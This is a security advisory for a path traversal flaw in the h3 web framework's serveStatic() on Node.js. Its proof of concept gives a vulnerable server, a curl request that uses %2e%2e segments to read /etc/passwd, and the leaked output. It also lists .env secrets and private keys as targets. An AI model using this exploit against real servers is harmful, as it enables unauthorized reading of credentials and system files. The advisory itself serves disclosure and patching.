+ "details": "## Summary\n\n`serveStatic()` in h3 is vulnerable to path traversal via percent-encoded dot segments (`%2e%2e`), allowing an unauthenticated attacker to read arbitrary files outside the intended static directory on Node.js deployments.\n\n## Details\n\nThe vulnerability exists in `src/utils/static.ts` at [line 86](https://github.com/h3js/h3/blob/52c82e18bb643d124b8b9ec3b1f62b081f044611/src/utils/static.ts#L86):\n\n```typescript\nconst originalId = decodeURI(withLeadingSlash(withoutTrailingSlash(event.url.pathname)));\n```\n\nOn Node.js, h3 uses srvx's `FastURL` class to parse request URLs. Unlike the standard WHATWG `URL` parser, `FastURL` extracts the pathname via raw string slicing for performance — it does **not** normalize dot segments (`.` / `..`) or resolve percent-encoded equivalents (`%2e`).\n\nThis means a request to `/%2e%2e/` will have `event.url.pathname` return `/%2e%2e/` verbatim, whereas the standard `URL` parser would normalize it to `/` (resolving `..` upward).\n\nThe `serveStatic()` function then calls `decodeURI()` on this raw pathname, which decodes `%2e` to `.`, producing `/../`. The resulting path containing `../` traversal sequences is passed directly to the user-provided `getMeta()` and `getContents()` callbacks with no sanitization or traversal validation.\n\nWhen these callbacks perform filesystem operations (the intended and documented usage), the `../` sequences resolve against the filesystem, escaping the static root directory.\n\n\nBefore exploit:\n\n<img width=\"761\" height=\"97\" alt=\"image\" src=\"https://github.com/user-attachments/assets/798f9d3d-f76c-4c29-aca3-5a6ccd3b3627\" />\n\n### Vulnerability chain\n\n```\n1. Attacker sends: GET /%2e%2e/%2e%2e/%2e%2e/etc/passwd\n2. FastURL.pathname: /%2e%2e/%2e%2e/%2e%2e/etc/passwd (raw, no normalization)\n3. decodeURI(): /../../../etc/passwd (%2e decoded to .)\n4. getMeta(id): id = \"/../../../etc/passwd\" (no traversal check)\n5. path.join(root,id): /etc/passwd (.. resolved by OS)\n6. Response: contents of /etc/passwd\n```\n\n## PoC\n\n### Vulnerable server (`server.ts`)\n\n```typescript\nimport { H3, serveStatic } from \"h3\";\nimport { serve } from \"h3/node\";\nimport { readFileSync, statSync } from \"node:fs\";\nimport { join, resolve } from \"node:path\";\n\nconst STATIC_ROOT = resolve(\"./public\");\nconst app = new H3();\n\napp.all(\"/**\", (event) =>\n serveStatic(event, {\n getMeta: (id) => {\n const filePath = join(STATIC_ROOT, id);\n try {\n const stat = statSync(filePath);\n return { size: stat.size, mtime: stat.mtime };\n } catch {\n return undefined;\n }\n },\n getContents: (id) => {\n const filePath = join(STATIC_ROOT, id);\n try {\n return readFileSync(filePath);\n } catch {\n return undefined;\n }\n },\n })\n);\n\nserve({ fetch: app.fetch });\n```\n\n### Exploit\n\n```bash\n# Read /etc/passwd (adjust number of %2e%2e segments based on static root depth)\ncurl -s --path-as-is \"http://localhost:3000/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd\"\n```\n\n### Result\n\n```\nroot:x:0:0:root:/root:/usr/bin/zsh\ndaemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin\nbin:x:2:2:bin:/bin:/usr/sbin/nologin\n...\n```\n\n\nProof:\n\n<img width=\"940\" height=\"703\" alt=\"image\" src=\"https://github.com/user-attachments/assets/f452e061-847a-424c-9dda-dfbf899687b1\" />\n\nPwned by **0xkakashi** \n\n<img width=\"942\" height=\"74\" alt=\"image\" src=\"https://github.com/user-attachments/assets/db881519-1456-4e4c-a751-d8781b7abe95\" />\n\n\n## Impact\n\nAn unauthenticated remote attacker can read arbitrary files from the server's filesystem by sending a crafted HTTP request with `%2e%2e` (percent-encoded `..`) path segments to any endpoint served by `serveStatic()`.\n\nThis affects any h3 v2.x application using `serveStatic()` running on Node.js (where the `FastURL` fast path is used). Applications running on runtimes that provide a pre-parsed `URL` object (e.g., Cloudflare Workers, Deno) may not be affected, as `FastURL`'s raw string slicing is bypassed.\n\n**Exploitable files include but are not limited to:**\n- `/etc/passwd`, `/etc/shadow` (if readable)\n- Application source code and configuration files\n- `.env` files containing secrets, API keys, database credentials\n- Private keys and certificates",
0 commit comments